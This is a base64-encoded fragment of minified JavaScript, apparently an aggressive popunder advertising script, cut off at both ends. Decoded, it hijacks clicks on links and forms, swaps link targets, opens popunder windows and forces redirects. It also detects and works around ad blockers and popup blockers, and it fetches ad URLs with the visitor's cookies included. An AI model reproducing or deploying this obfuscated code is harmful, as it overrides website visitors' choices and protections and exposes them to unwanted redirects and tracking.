pLGN9dmFyIHM7aS5ocmVmO3JldHVybiBzPWkuaHJlZixyPWEobyksYihlLHQsciwib3BlbkZvcklPU25vdFNhZmFyaTEiKSxxP2NlKChmdW5jdGlvbigpe2guWi53aW4ubG9jYXRpb24uaHJlZj1zfSkpOmguWi53aW4ubG9jYXRpb249cyxyfHx2ZS5jb2xsZWN0RXJyb3IodCwicG9wLW9wZW4iLG5ldyBFcnJvcigib3BlbkZvcklPU25vdFNhZmFyaSIpKSxyfWZ1bmN0aW9uIGJlKGUsdCxuLHIpe3ZhciBvPXQudXJsLGk9dC5vcGVuVmlhTW9iaWxlUG9wdW5kZXJBbmRQcm9wYWdhdGVGb3JtU3VibWl0LGE9dC5kaXNhYmxlT3BlblZpYU1vYmlsZVBvcHVuZGVyQW5kRm9sbG93TGlua3M7aWYoaSYmKEt8fGZ1bmN0aW9uKGUpe3JldHVybiBlLnBvbWMmJnF9KHQpJiYhaikpe3ZhciBjPW4udGFyZ2V0O2lmKGMmJmMuZm9ybSYmKCJJTlBVVCI9PT1jLm5vZGVOYW1lfHwiQlVUVE9OIj09PWMubm9kZU5hbWUpJiYic3VibWl0Ij09PWMudHlwZSlyZXR1cm4gYy5mb3JtLnRhcmdldD0iX2JsYW5rIix2b2lkKE4+NTU/c2V0VGltZW91dCgoZnVuY3Rpb24oKXtjZSgoZnVuY3Rpb24oKXtoLloud2luLmxvY2F0aW9uLmhyZWY9b30pKX0pLDJlMyk6Y2UoKGZ1bmN0aW9uKCl7aC5aLndpbi5sb2NhdGlvbi5ocmVmPW99KSkpfXZhciBzPWguWi5kb2MubG9jYXRpb24udG9TdHJpbmcoKTthfHwocj1ndChyLCJBIikpaW5zdGFuY2VvZiBIVE1MQW5jaG9yRWxlbWVudCYmKHM9ci5ocmVmKTt2YXIgdT1oLloud2luLm9wZW4ocyk7YihlLHQsdSwib3BlblZpYU1vYmlsZVBvcHVuZGVyIiksdT9xPygiY2xpY2siIT09bi50eXBlP24uY3VycmVudFRhcmdldC5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsKGZ1bmN0aW9uIGUodCl7dC5wcmV2ZW50RGVmYXVsdCgpLHRoaXMucmVtb3ZlRXZlbnRMaXN0ZW5lcigiY2xpY2siLGUsITApfSksITApOm4ucHJldmVudERlZmF1bHQoKSxjZSgoZnVuY3Rpb24oKXtoLloud2luLmxvY2F0aW9uLmhyZWY9b30pKSk6aC5aLndpbi5sb2NhdGlvbj1vOnZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuVmlhTW9iaWxlUG9wdW5kZXIiKSl9dmFyIFplLEVlPStuZXcgRGF0ZSxfZT0hMSxDZT0hMSxQZT0hMSxJZT0hMSxUZT0hMTtmdW5jdGlvbiBPZShlKXt2YXIgdD1kb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKS5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiBlLnRyaW0oKS5zcGxpdCgiPSIpfSkpLmZpbHRlcigoZnVuY3Rpb24odCl7cmV0dXJuIHRbMF09PWV9KSlbMF07aWYodClyZXR1cm4gdFsxXX1mdW5jdGlvbiBBZShlLHQpe3ZvaWQgMD09PXQmJih0PSExKSxmdW5jdGlvbihlLHQpe3JldHVybiB2b2lkIDA9PT10JiYodD0hMSksdm9pZCAwPT09WmUmJihaZT0hIU9lKCJwcmVmZXRjaEFkXyIrZS56b25lSWQpKSxCb29sZWFuKCFfZSYmZSYmZS5wcmVmZXRjaEFkRW5hYmxlZCYmZS5wcmVmZXRjaEFkVXJsVHRsJiZlLnByZWZldGNoQWRSZXF1ZXN0VHRsJiYoIXR8fCFaZSkmJiFUZSl9KGUsdCkmJmZ1bmN0aW9uKGUpe3ZhciB0PWUudXJsLG49ZS5wcmVmZXRjaEFkUmVxdWVzdFR0bCxyPWUuem9uZUlkLG89bmV3IERhdGUobmV3IERhdGUoK25ldyBEYXRlKzFlMypuKS50b1VUQ1N0cmluZygpKS50b1VUQ1N0cmluZygpLGk9InByZWZldGNoQWRfIityO1BlPSEwLF9lPSEwLGRvY3VtZW50LmNvb2tpZT1pKyI9dHJ1ZTsgZXhwaXJlcz0iK28rIjsgcGF0aD0vOyIsZmV0Y2godCsiJm09bGluayIse2NyZWRlbnRpYWxzOiJpbmNsdWRlIn0pLnRoZW4oKGZ1bmN0aW9uKGUpe3JldHVybiAyMDA9PT1lLnN0YXR1cz9lLmpzb24oKTooMjAyPT09ZS5zdGF0dXMmJihUZT0hMCksITEpfSkpLnRoZW4oKGZ1bmN0aW9uKHQpe19lPSExLEllPSEwLHQmJihlLnByZWZldGNoQWRPcHRpb25zPXQsQ2U9ITEsRWU9K25ldyBEYXRlKX0pKS5jYXRjaCgoZnVuY3Rpb24oZSl7X2U9ITEsSWU9ITAsY29uc29sZS53YXJuKGUpfSkpfShlKX1mdW5jdGlvbiB4ZShlLHQpe3ZhciBuLHI9KG49ZSxCb29sZWFuKG4mJm4ucHJlZmV0Y2hBZEVuYWJsZWQmJm4ucHJlZmV0Y2hBZE9wdGlvbnMmJm4ucHJlZmV0Y2hBZE9wdGlvbnMuZHN0VXJsJiYrbmV3IERhdGU8RWUrMWUzKm4ucHJlZmV0Y2hBZFVybFR0bCYmIUNlKSk7ciYmRGUoZSksdChyLHI/dm9pZCAwOmZ1bmN0aW9uKGUpe3JldHVybiBQZT9JZT9UZT8iZGlzYWJsZWQtYnktc2VydmVyIjoodm9pZCAwPT09WmUmJihaZT0hIU9lKCJwcmVmZXRjaEFkXyIrZS56b25lSWQpKSxlLnByZWZldGNoQWRPcHRpb25zfHxaZT8hZS5wcmVmZXRjaEFkT3B0aW9ucyYmWmU/ImZyZXEtbGltaXQiOituZXcgRGF0ZT5FZSsxZTMqZS5wcmVmZXRjaEFkVXJsVHRsPyJ0aW1lb3V0IjpDZT8iY29sbGVjdGVkIjoidW5rbm93biI6ImJhZC1wcmVmZXRjaCIpOiJlYXJseS1jbGljay1wbmQiOiJlYXJseS1jbGljay1wbnMifShlKSl9ZnVuY3Rpb24gRGUoZSx0KXt2b2lkIDA9PT10JiYodD0xKTt2YXIgbj1lLnByZWZldGNoQWRPcHRpb25zLHI9bi5jYXRVcmwsbz1uLmJhbm5lcklkLGk9bi5jYW1wYWlnbklkLGE9bi5yZXF1ZXN0SW1wcmVzc2lvbixjPW4udHJhY2tlcnM7Q2U9ITAsZmV0Y2gocix7bWV0aG9kOiJQT1NUIixjcmVkZW50aWFsczoiaW5jbHVkZSIsYm9keTpKU09OLnN0cmluZ2lmeSh7YmFubmVySWQ6byxjYW1wYWlnbklkOmkscmVxdWVzdEltcHJlc3Npb246YSx0cmFja2VyczpjLHRyaWVzOnR9KX0pLnRoZW4oKGZ1bmN0aW9uKG4pey0xIT09WzQ4OSw0OTldLmluZGV4T2Yobi5zdGF0dXMpJiZ0PDMmJkRlKGUsdCsxKX0pKS5jYXRjaCgoZnVuY3Rpb24oKXt0PDMmJkRlKGUsdCsxKX0pKX12YXIgTGU9ITE7dmFyIE5lPSExO2Z1bmN0aW9uIE1lKGUpe3ZhciB0PWUuaWQsbj1lLnRhZ05hbWUscj10PyIjIit0OiIiLG89KGUuY2xhc3NOYW1lfHwiIikuc3BsaXQoIiAiKS5tYXAoKGZ1bmN0aW9uKGUpe3JldHVybiIuIitlfSkpLmpvaW4oIiIpLGk9IiIrbi50b0xvd2VyQ2FzZSgpK3IrbztyZXR1cm4gZS5wYXJlbnROb2RlJiZlLnBhcmVudE5vZGUhPT1oLlouZG9jLmJvZHkmJmUucGFyZW50Tm9kZSE9PWguWi5kb2NFbGVtZW50P01lKGUucGFyZW50Tm9kZSkrIiAiK2k6aX1mdW5jdGlvbiB6ZShlLHQpe3ZhciBuPXQubGF6eUZyZXNoUG9wdW5kZXIscj1lLnRhcmdldCxvPU1hdGgucmFuZG9tKCkudG9TdHJpbmcoMzYpLnNsaWNlKDIpLGk9Z3QociwiQSIpLGE9Z3QociwiRk9STSIpO2lmKCFOZSl7aWYobiYmKGl8fGEpJiYobG9jYWxTdG9yYWdlLnlhaXg0dmEyM2s9TWUoaXx8YSkpLG58fCFTdCh0LGkpfHwhaSYmIWEpZS5wcmV2ZW50RGVmYXVsdCgpLGsoImZyZXNoUG9wdW5kZXI6d2luIiksKDAsZi5tKShoLloud2luLmxvY2F0aW9uLmhyZWYsbyx3ZSh0KSl8fHZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuRnJlc2hQb3B1bmRlciIpKTtlbHNlIGk/KGsoImZyZXNoUG9wdW5kZXI6bGluayIpLGkudGFyZ2V0PW8pOmEmJihrKCJmcmVzaFBvcHVuZGVyOmZvcm0iKSxhLnRhcmdldD1vKTtzZXRUaW1lb3V0KChmdW5jdGlvbigpe3RyeXt2YXIgZT0oMCxmLm0pKCIiLG8sd2UodCkpO2UmJiFlLmNsb3NlZCYmKGsoImZyZXNoUG9wdW5kZXI6cmVkaXJlY3QiKSxoLloud2luLmxvY2F0aW9uLmhyZWY9dC51cmwpLGV8fHZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuRnJlc2hQb3B1bmRlciIpKSxrKCJmcmVzaFBvcHVuZGVyOm5vd2luIil9Y2F0Y2goZSl7aygiZnJlc2hQb3B1bmRlcjpmYWlsIil9fSksMTAwKX19Y29uc3QgRmU9ZnVuY3Rpb24oZSx0LG4scil7dmFyIG89aC5aLndpbi5vcGVuKHQsbixyKTtyZXR1cm4gb3x8dmUuY29sbGVjdEVycm9yKGUsInBvcC1vcGVuIixuZXcgRXJyb3IoIm9wZW5Gb3JJT1NTYWZhcmkiKSksb307dmFyIFVlPWZ1bmN0aW9uKCl7dHJ5e3JldHVybiB3aW5kb3cub3Blbi50b1N0cmluZygpLmluY2x1ZGVzKCJwYldpbmRvd09wZW4iKX1jYXRjaChlKXtyZXR1cm4hMX19KCksamU9ITEsUmU9ITE7ZnVuY3Rpb24gcWUoZSl7aygoKGplPXl0KGUpKT8id2l0aCI6Im5vIikrIiBhbnRpYWRibG9jayBpbiBsaXN0ZW5lciIpLGplJiZmdW5jdGlvbihlKXtpZih2b2lkIDAhPT11dClyZXR1cm4gZSh1dCk7dmFyIHQ9aC5aLmNyZWF0ZUVsZW1lbnQuY2FsbChoLlouZG9jLCJhIiksbj1oLlouY3JlYXRlRWxlbWVudC5jYWxsKGguWi5kb2MsImEiKTt0LmhyZWY9d2luZG93LmxvY2F0aW9uLmhyZWYsbi5ocmVmPSIvL2dvb2dsZS5jb20/YnZlcj0iLChoLlouZG9jLmJvZHl8fGguWi5kb2NFbGVtZW50KS5hcHBlbmRDaGlsZCh0KSwoaC5aLmRvYy5ib2R5fHxoLlouZG9jRWxlbWVudCkuYXBwZW5kQ2hpbGQobiksc2V0VGltZW91dCgoZnVuY3Rpb24oKXt2YXIgcj1nZXRDb21wdXRlZFN0eWxlKHQsbnVsbCkuZGlzcGxheSxvPWdldENvbXB1dGVkU3R5bGUobixudWxsKS5kaXNwbGF5O3QucGFyZW50RWxlbWVudC5yZW1vdmVDaGlsZCh0KSxuLnBhcmVudEVsZW1lbnQucmVtb3ZlQ2hpbGQobiksZSh1dD1yIT09byl9KSwxMDApfSgoZnVuY3Rpb24oZSl7aygoKGU/IndpdGgiOiJubyIpKyIgdWJsb2NrIikudHJpbSgpKSxSZT1lfSkpfWZ1bmN0aW9uIEJlKHQsbixyLG8pe3ZhciBpLGE9dC50YXJnZXR8fChoLloud2luLmV2ZW50P2guWi53aW4uZXZlbnQuc3JjRWxlbWVudDpudWxsKSxjPWd0KGEsIkEiKSxzPW4uaXNJbnRlcm1lZGlhdGVJbXByZXNzaW9uQXZhaWxhYmxlKHIpLHU9ZnVuY3Rpb24oZSl7dmFyIHQ9d2luZG93LmxvY2F0aW9uLmhyZWY7aWYoIShlIGluc3RhbmNlb2YgSFRNTEFuY2hvckVsZW1lbnQpKXJldHVybiExO3ZhciBuPWUmJmUuaHJlZjtpZighbilyZXR1cm4hMTtpZigiIyI9PT1ufHxuLnJlcGxhY2UoLyMuKiQvLCIiKT09PXQucmVwbGFjZSgvIy4qJC8sIiIpKXJldHVybiExO3JldHVybiEwfShjKTtpZihzJiYhci5pbnRlcm1lZGlhdGVQYWdlU3ltYmlvc2lzJiYhdSlyZXR1cm4gaygiaW50ZXJtZWRpYXRlUGFnZTpub0xpbmsiKSxbITFdO2lmKG4uZ2V0UHJldmlvdXNDbGljaygpKzI1MD4rbmV3IERhdGUpcmV0dXJuIGsoImRvdWJsZUNsaWNrIiksWyExXTtuLmluY3JlbWVudENsaWNrcyhyKSxrKCJjbGljayIpO3ZhciBsPW4uaXNJbXByZXNzaW9uQXZhaWxhYmxlKHIpLHA9bFswXSxtPWxbMV07aWYoIXApcmV0dXJuIGsoIm5vSW1wcmVzc2lvbkF2YWlsYWJsZSIpLFshMSxtXTtpZih0JiYhd3QocixhKSYmIW8pcmV0dXJuIGsoImV4Y2x1ZGVkQ2xpY2siKSxbITFdO2lmKG4uaW5jcmVtZW50SW1wcmVzc2lvbnMocixzJiZ1KSxzJiZ1KXJldHVybiBjLmhyZWY9W3IuaW50ZXJtZWRpYXRlUGFnZS5yZXBsYWNlKG5ldyBSZWdFeHAoInt6b25laWR9IiwiZyIpLG51bGw9PT0oaT1yLnpvbmVJZCl8fHZvaWQgMD09PWk/dm9pZCAwOmkudG9TdHJpbmcoKSksci5pbnRlcm1lZGlhdGVQYWdlLmluZGV4T2YoIj8iKT4tMT8iJiI6Ij8iLCJyZXR1cm49IixlbmNvZGVVUklDb21wb25lbnQoYy5ocmVmKV0uam9pbigiIiksaygiaW50ZXJtZWRpYXRlUGFnZSIpLFshMV07UmV8fHhlKHIsKGZ1bmN0aW9uKGUsdCl7ZT9yLnVybD1yLnByZWZldGNoQWRPcHRpb25zLmRzdFVybDpyLnByZWZldGNoQWRFbmFibGVkJiZ0JiYoci51cmw9ZyhyLnVybCwiZmFsbGJhY2siLHQpKX0pKSwoci5wcmV2ZW50T3RoZXJDbGlja3N8fHIuZm9yY2VDbGljaykmJih0LnByZXZlbnREZWZhdWx0KCksdC5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSksci5mb3JjZUNsaWNrJiZhJiYiY2xpY2siaW4gYSYmc2V0VGltZW91dCgoZnVuY3Rpb24oKXtyZXR1cm4gYS5jbGljaygpfSkpO3ZhciB2PSFLJiYhVyx3PVcmJiFyLmlPU0Nocm9tZVN3YXBQb3B1bmRlcjtpZihyLm9wZW5Qb3BzV2hlbkluSWZyYW1lJiYiSW5JZnJhbWVDYW5Ob3RFeGl0Ij09PWZ0KCkpcmV0dXJuIGomJih2fHx3KT8oa2UobixyLHQpLFshMF0pOihmdW5jdGlvbihlLHQsbil7dmFyIHI7biYmKHI9bi50YXJnZXR8fChoLloud2luLmV2ZW50P2guWi53aW4uZXZlbnQuc3JjRWxlbWVudDpudWxsKSk7dmFyIG8saT1ndChyLCJBIiksYT10LnVybCxjPXQub3BlblZpYURlc2t0b3BQb3B1bmRlcixzPXQuZGVza3RvcFBvcHVuZGVyRXZlcnl3aGVyZSx1PXQucG9wdXBXaXRob3V0UHJvcGFnYXRpb25Bbnl3aGVyZSxsPWEsZD1WPyJfdG9wIjoicHB1IisobmV3IERhdGUpLmdldFRpbWUoKTtpZihpJiZTdCh0LGkpJiYhdSl7dmFyIHA7cmV0dXJuIGkuaHJlZixwPWkuaHJlZixiKGUsdCxvPWFlKHQsbCwiIiwoZnVuY3Rpb24oKXtyZXR1cm4gaC5aLndpbi5vcGVuKGwsZCwiIil9KSksIm9wZW5WaWFXaW5kb3cxIiksb3x8dmUuY29sbGVjdEVycm9yKHQsInBvcC1vcGVuIixuZXcgRXJyb3IoIm9wZW5WaWFXaW5kb3ciKSksdm9pZCAwIT09by5tb3pQYWludENvdW50JiZvLm9wZW4oImFib3V0OmJsYW5rIikuY2xvc2UoKSx0ZXx8KG4ucHJldmVudERlZmF1bHQoKSxxP2NlKChmdW5jdGlvbigpe2guWi53aW4ubG9jYXRpb24uaHJlZj1wfSkpOmguWi53aW4ubG9jYXRpb249cCksITB9aWYodSl7dmFyIGY9YWUodCxhLHdlKHQpLChmdW5jdGlvbigpe3JldHVybiBoLloud2luLm9wZW4oYSxkLCIiKX0pKTtyZXR1cm4gZnx8dmUuY29sbGVjdEVycm9yKHQsInBvcC1vcGVuIixuZXcgRXJyb3IoIm9wZW5WaWFXaW5kb3ciKSksYihlLHQsZiwib3BlblZpYVdpbmRvdzIiKSwhMH1pZihiKGUsdCxvPWFlKHQsbD1YfHxWP2E6ImFib3V0OmJsYW5rIiwiIiwoZnVuY3Rpb24oKXtyZXR1cm4gaC5aLndpbi5vcGVuKGwsZCwiIil9KSksIm9wZW5WaWFXaW5kb3czIiksIW8pcmV0dXJuIHZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuVmlhV2luZG93IikpLG4mJm4udGFyZ2V0JiZTdCh0LG4udGFyZ2V0KSYmbi50YXJnZXQuY2xpY2soKSwhMTtpZihxfHxjfHxzKXtvLmJsdXIoKSxNJiYoaC5aLndpbi5ibHVyKCksaC5aLndpbi5mb2N1cygpKSx2b2lkIDAhPT1vLm1velBhaW50Q291bnQmJm8ub3BlbigiYWJvdXQ6YmxhbmsiKS5jbG9zZSgpO3RyeXtvLm9wZW5lci5mb2N1cygpfWNhdGNoKGUpe319WHx8KG8ubG9jYXRpb249YSksdXx8IUYmJiFVJiZuJiZuLnRhcmdldCYmU3QodCxuLnRhcmdldCkmJm4udGFyZ2V0LmNsaWNrKCl9KG4scix0KSxbITBdKTtpZihVZSlyZXR1cm4gZnVuY3Rpb24oZSx0LG4pe3ZhciByPXQudXJsLG89TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMiksaT1TZSh0LG8pLGE9Z3Qobi50YXJnZXR8fChoLloud2luLmV2ZW50P2guWi53aW4uZXZlbnQuc3JjRWxlbWVudDpudWxsKSwiQSIpO2kuc3VibWl0KCksc2V0VGltZW91dCgoZnVuY3Rpb24oKXt2YXIgbj1oLloud2luLm9wZW4ocixvKTtiKGUsdCxuLCJvcGVuVmlhRm9ybVN1Ym1pdCIpLG58fHZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuVmlhRm9ybVN1Ym1pdCIpKSxpJiZpLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoaSksYSYmU3QodCxhKSYmYS5jbGljaygpfSksMTAwKX0obixyLHQpLFshMF07aWYoamUpe2lmKFJlJiYhci5hZGJsb2NrRGlzYWJsZVVibG9jaylyZXR1cm4gZnVuY3Rpb24odCxuLHIpe3ZhciBvLGk9bi51cmw7ciYmKG89ci50YXJnZXR8fChoLloud2luLmV2ZW50P2guWi53aW4uZXZlbnQuc3JjRWxlbWVudDpudWxsKSk7dmFyIGE9Z3QobywiQSIpLGM9YSYmU3QobixhKT9hLmhyZWY6d2luZG93LmxvY2F0aW9uLmhyZWYscz0oMCxlLld6KSgpLHU9YWUobixjLHdlKG4pLChmdW5jdGlvbigpe3ZhciBlPWguWi5kb2MuY3JlYXRlRWxlbWVudCgiYSIpLHQ9aC5aLmRvYy5jcmVhdGVFdmVudCgiTW91c2VFdmVudHMiKTtlLmhyZWY9YyxlLnRhcmdldD0iX2JsYW5rIix0LmluaXRNb3VzZUV2ZW50KCJjbGljayIsITAsITAsaC5aLndpbiwxLDAsMCwwLDAsITAsITEsITEsITEsMSxudWxsKSxlLmRpc3BhdGNoRXZlbnQodCl9KSk7dXx8dmUuY29sbGVjdEVycm9yKG4sInBvcC1vcGVuIixuZXcgRXJyb3IoIm9wZW5BZGJsb2NrVGFidW5kZXIiKSksc2V0VGltZW91dCgoZnVuY3Rpb24oKXt0cnl7aWYodS5jbG9zZWQpdGhyb3cgbmV3IEVycm9yO3dpbmRvdy5sb2NhdGlvbi5ocmVmPXMrIj8iK2J0b2EoaSl9Y2F0Y2goZSl7fX0pLDEwMCksYih0LG4sdSwib3BlbkFkYmxvY2tUYWJ1bmRlciIpfShuLHIsdCksWyEwXTtpZihyLmFkYmxvY2tQb3B1cCYmIVIpcmV0dXJuIGZ1bmN0aW9uKHQsbixyLG8pe3ZhciBpPXQudXJsLGE9dC5hYnVzaXZlUmVkaXJlY3QsYz10LmFkYmxvY2tQb3B1cFNhbWVPcmlnaW4scz10Lm9uQ2xvc2VJbnRlcnN0aXRpYWxVcmwsdT10LmFkYmxvY2tEaXNhYmxlSW1hZ2VSZWRpcmVjdDtpZighKHllKzEwMD4obmV3IERhdGUpLmdldFRpbWUoKSkpaWYoeWU9KG5ldyBEYXRlKS5nZXRUaW1lKCksYSYmRylnZS5pc1ByZXBhcmVkKCkmJmdlKCk7ZWxzZXt2YXIgbCxwPWdlP2dlKCk6bnVsbDtpZihnZSl7YihuLHQscCwicHJveHlSZWRpcmVjdFBvcHVwIik7dmFyIGY9KDAsZS5OXykoaSk7Zi5vblJlYWR5KChmdW5jdGlvbigpe2dlPWZ9KSl9aWYocHx8dXx8KGw9ZChpLG8scixjLCFzKSksIXAmJmwmJmIobix0LGwsIm9wZW5BZGJsb2NrUG9wdXAiKSwhcyYmcCl0cnl7cC5vcGVuZXI9bnVsbH1jYXRjaChlKXt9fX0ocixuLHIuYWRibG9ja1BvcHVwTGluayxyLmFkYmxvY2tQb3B1cFRpbWVvdXQpLFshMF19aWYoci5mcmVzaFBvcHVuZGVyfHxyLmxhenlGcmVzaFBvcHVuZGVyKXJldHVybiB6ZSh0LHIpLFshMF07aWYoIXEmJihyLm9wZW5WaWFEZXNrdG9wUG9wdW5kZXJ8fHIuZGVza3RvcFBvcHVuZGVyRXZlcnl3aGVyZUxpbmtzKSlyZXR1cm4gSj8oYmUobixyLHQsYSksWyEwXSk6KGZ1bmN0aW9uKGUsdCxuKXt2YXIgcj10LnVybCxvPWd0KG4sIkEiKTtpZihvIGluc3RhbmNlb2YgSFRNTEFuY2hvckVsZW1lbnQpe3ZhciBpPWguWi53aW4ub3BlbihvLmhyZWYpO2k/KFUmJihvLmhyZWY9ciksaC5aLndpbi5sb2NhdGlvbj1yLGIoZSx0LGksIm9wZW5WaWFEZXNrdG9wTGlua1BvcHVuZGVyMSIpKTp2ZS5jb2xsZWN0RXJyb3IodCwicG9wLW9wZW4iLG5ldyBFcnJvcigib3BlblZpYURlc2t0b3BMaW5rUG9wdW5kZXIiKSl9ZWxzZXt2YXIgYT1hZSh0LHIsIiIsKGZ1bmN0aW9uKCl7cmV0dXJuIGguWi53aW4ub3BlbihyKX0pKTthfHx2ZS5jb2xsZWN0RXJyb3IodCwicG9wLW9wZW4iLG5ldyBFcnJvcigib3BlblZpYURlc2t0b3BMaW5rUG9wdW5kZXIiKSksYihlLHQsYSwib3BlblZpYURlc2t0b3BMaW5rUG9wdW5kZXIyIil9fShuLHIsYSksWyEwXSk7aWYoIXEmJihyLmRlc2t0b3BDaHJvbWVGaXhQb3B1bmRlcnx8ci5kZXNrdG9wUG9wdW5kZXJFdmVyeXdoZXJlKXx8SyYmci5pT1NTYWZhcmlTd2FwUG9wdW5kZXJ8fFcmJnIuaU9TQ2hyb21lU3dhcFBvcHVuZGVyKXJldHVybiBiZShuLHIsdCxhKSxbITBdO2lmKGomJih2fHx3KSYmIUgpcmV0dXJuIGtlKG4scix0KSxbITBdO2lmKHEmJihyLm1vYmlsZVBvcHVuZGVyVGFyZ2V0QmxhbmtMaW5rc3x8ci5tb2JpbGVQb3BVcFRhcmdldEJsYW5rTGlua3MpJiZjJiYiX2JsYW5rIj09PWMudGFyZ2V0KXJldHVybiBmdW5jdGlvbihlLHQsbil7dmFyIHIsbyxpPXQudXJsLGE9dC5vbkNsb3NlSW50ZXJzdGl0aWFsVXJsLGM9dC5tb2JpbGVQb3BVcFRhcmdldEJsYW5rTGlua3Mscz1ndChuLnRhcmdldHx8KGguWi53aW4uZXZlbnQ/aC5aLndpbi5ldmVudC5zcmNFbGVtZW50Om51bGwpLCJBIiksdT1zLnRhcmdldHx8IiIsbD1zLmhyZWYsZD1zLmhyZWYscD1pLGY9TWF0aC5yYW5kb20oKS50b1N0cmluZygzNikuc2xpY2UoMik7KEgmJiFjfHxjJiYhSCkmJihzLmhyZWY9aSxzLnRhcmdldD1mLGQ9aSxwPWwscy5oYXNBdHRyaWJ1dGUoInJlbCIpJiYocj1zLmdldEF0dHJpYnV0ZSgicmVsIikpLHMuc2V0QXR0cmlidXRlKCJyZWwiLGE/IiI6Im5vb3BlbmVyIG5vcmVmZXJlciIpLHNldFRpbWVvdXQoKGZ1bmN0aW9uKCl7dmFyIG49d2luZG93Lm9wZW4oIiIsZix3ZSh0KSk7YihlLHQsbiwib3BlbkFkZGl0aW9uYWxUYWJzMSIpfSkpLHNldFRpbWVvdXQoKGZ1bmN0aW9uKCl7cy5ocmVmPWwscy50YXJnZXQ9dSxkPWwscD1pLHI/cy5zZXRBdHRyaWJ1dGUoInJlbCIscik6cy5yZW1vdmVBdHRyaWJ1dGUoInJlbCIpfSksMWUzKSksSD9zZXRUaW1lb3V0KChmdW5jdGlvbigpe3ZhciBuPWFlKHQscCx3ZSh0KSwoZnVuY3Rpb24oKXtyZXR1cm4gaC5aLndpbi5vcGVuKHApfSkpO258fHZlLmNvbGxlY3RFcnJvcih0LCJwb3Atb3BlbiIsbmV3IEVycm9yKCJvcGVuQWRkaXRpb25hbFRhYnMiKSksYihlLHQsbiwib3BlbkFkZGl0aW9uYWxUYWJzMiIpfSksMjAwKTooKG89YWUodCxwLHdlKHQpLChmdW5jdGlvbigpe3JldHVybiBoLloud2luLm9wZW4ocCl9KSkpfHx2ZS5jb2xsZWN0RXJyb3IodCwicG9wLW9wZW4iLG5ldyBFcnJvcigib3BlbkFkZGl0aW9uYWxUYWJzIikpLGIoZSx0LG8sIm9wZW5BZGRpdGlvbmFsVGFiczMiKSksRiYmKChvPWFlKHQsZCx3ZSh0KSwoZnVuY3Rpb24oKXtyZXR1cm4gaC5aLndpbi5vcGVuKGQpfSkpKXx8dmUuY29sbGVjdEVycm9yKHQsInBvcC1vcGVuIixuZXcgRXJyb3IoIm9wZW5BZGRpdGlvbmFsVGFicyIpKSxiKGUsdCxvLCJvcGVuQWRkaXRpb25hbFRhYnM0IikpfShuLHIsdCksWyEwXTtpZihyLmlvc1NhZmFyaUZpeCYmSyl7aygiaW9zU2FmYXJpV2luZG93T3BlbiIpO3ZhciB5PUZlKHIsci51cmwsIl9ibGFuayIpO3JldHVybiBiKG4scix5LCJpb3NTYWZhcmlXaW5kb3dPcGVuIiksWyEwXX12YXIgUz0oMCxmLm0pKHIudXJsLCJfYmxhbmsiLHdlKHIpKTtyZXR1cm4gaygiaWZyYW1lV2luZG93T3BlbiIpLGIobixyLFMsImlmcmFtZVdpbmRvd09wZW4iKSxTfHx2ZS5jb2xsZWN0RXJyb3IociwicG9wLW9wZW4iLG5ldyBFcnJvcigiaWZyYW1lV2luZG93T3BlbiIpKSxbITBdfWsoKFVlPyJ3aXRoIjoibm8iKSsiIHBvcGVyYmxvY2tlciIpO3ZhciBWZT1mdW5jdGlvbihlLHQsbil7dmFyIHI7dm9pZCAwPT09biYmKG49ITEpO3JldHVybiBmdW5jdGlvbihvKXt2YXIgaSxhLGM9dC51cmwscz0hMTt0cnl7cz0oaT1CZShvLGUsdCxuKSlbMF0sYT1pWzFdfWNhdGNoKGUpe3ZlLmNvbGxlY3RFcnJvcih0LCJjbGljayIsZSl9dC51cmw9Yyx0LnByZWZldGNoQWRFbmFibGVkJiYhUmUmJihzJiZBZSh0KSxhJiYhciYmKHI9d2luZG93LnNldFRpbWVvdXQoKGZ1bmN0aW9uKCl7QWUodCkscj1udWxsfSksYS0xZTQpKSl9fTtmdW5jdGlvbiBLZShlLHQsbil7dmFyIHIsbz1uLm5vRGV2UGxlYXNlLGk9bi5ub1Njcm9sbFBsZWFzZSxhPW4ubW9iaWxlUG9wVXBUYXJnZXRCbGFua0xpbmtzLGM9bi5tb2JpbGVQb3B1bmRlclRhcmdldEJsYW5rTGlua3Mscz0hRiYmIWkmJk48NTYmJiFjJiYhYTtlLmFkZEV2ZW50TGlzdGVuZXI/KGp8fGllKG4pfHwoaygiZGVmYXVsdExpc3RlbmVyIiksTiYmIXE/ZS5hZGRFdmVudExpc3RlbmVyKCJtb3VzZWRvd24iLHQsITApOiFVJiYhWHx8cT8oZS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsdCwhMCksZS5hZGRFdmVudExpc3RlbmVyKCJtb3VzZXVwIix0LCEwKSk6ZS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsdCwhMCkpLGZ1bmN0aW9uKGUpe3JldHVybiAxMDgwMj09PWUuem9uZUlkJiZqfShuKXx8b2Uobil8fGllKG4pPyhrKCJjbGlja0xpc3RlbmVyIiksZS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsdCwhMCkpOnM/aj8oaygidG91Y2hlbmRMaXN0ZW5lciIpLGUuYWRkRXZlbnRMaXN0ZW5lcigidG91Y2hlbmQiLHQsITApKTooaygidG91Y2hzdGFydExpc3RlbmVyIiksZS5hZGRFdmVudExpc3RlbmVyKCJ0b3VjaHN0YXJ0Iix0LCEwKSk6cSYmKGl8fGN8fGEpPyhrKCJoYW5kbGVUb3VjaGVzIikscj10LGguWi5kb2MuYm9keS5hZGRFdmVudExpc3RlbmVyKCJ0b3VjaHN0YXJ0IiwoZnVuY3Rpb24oZSl7aWYoIWUudGFyZ2V0VG91Y2hlcylyZXR1cm4gcihlKTtpZihlLnRhcmdldFRvdWNoZXMubGVuZ3RoPjEpcmV0dX